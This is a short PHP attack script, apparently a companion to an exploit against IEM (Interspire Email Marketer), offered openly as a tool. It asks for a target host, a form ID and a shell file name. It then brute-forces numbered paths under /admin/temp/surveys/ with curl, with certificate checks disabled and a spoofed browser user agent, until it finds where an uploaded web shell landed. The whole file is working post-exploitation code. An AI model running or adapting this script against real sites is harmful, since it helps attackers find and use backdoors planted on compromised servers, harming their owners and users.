IEM Shell Finder

<?php
// Coded by Con7ext
$meh = array(
  CURLOPT_CONNECTTIMEOUT => 120,
  CURLOPT_TIMEOUT        => 120,
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_SSL_VERIFYHOST => false,
  CURLOPT_SSL_VERIFYPEER => false,
  CURLOPT_FOLLOWLOCATION => false,
  CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"
  );
echo " Put host like http://localhost.com/ or http://localhost.com/path\n";
$host = readline("Host: ");
$formid = readline("FormID: ");
$shell = readline("ShellName: ");
for($i =0; $i <= 100; $i++){ // You cant change 100 to 1000 or whatever you want :D
  $ch = curl_init();
  curl_setopt_array($ch, $meh);
  curl_setopt($ch, CURLOPT_URL, $host."/admin/temp/surveys/".$formid."/".$i."/".$shell);
  $output = curl_exec($ch);
  $http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  curl_close($ch);
  if($http == 200){
    echo "Found >> ".$host."/admin/temp/surveys/".$formid."/".$i."/".$shell."\n";
    break;
  }
  else{
    echo "Not Found ".$host."/admin/temp/surveys/".$formid."/".$i."/".$shell."\n";
  }
// if u want to search using Pregmatch Just delete the comment :D
 /* if(preg_match("/Login/", $output)){
    echo "Found >> ".$host."/admin/temp/surveys/".$formid."/".$i."/".$shell."\n";
    break;
  }
  else{
    echo "Not Found ".$host."/admin/temp/surveys/".$formid."/".$i."/".$shell."\n";
  }
  */
}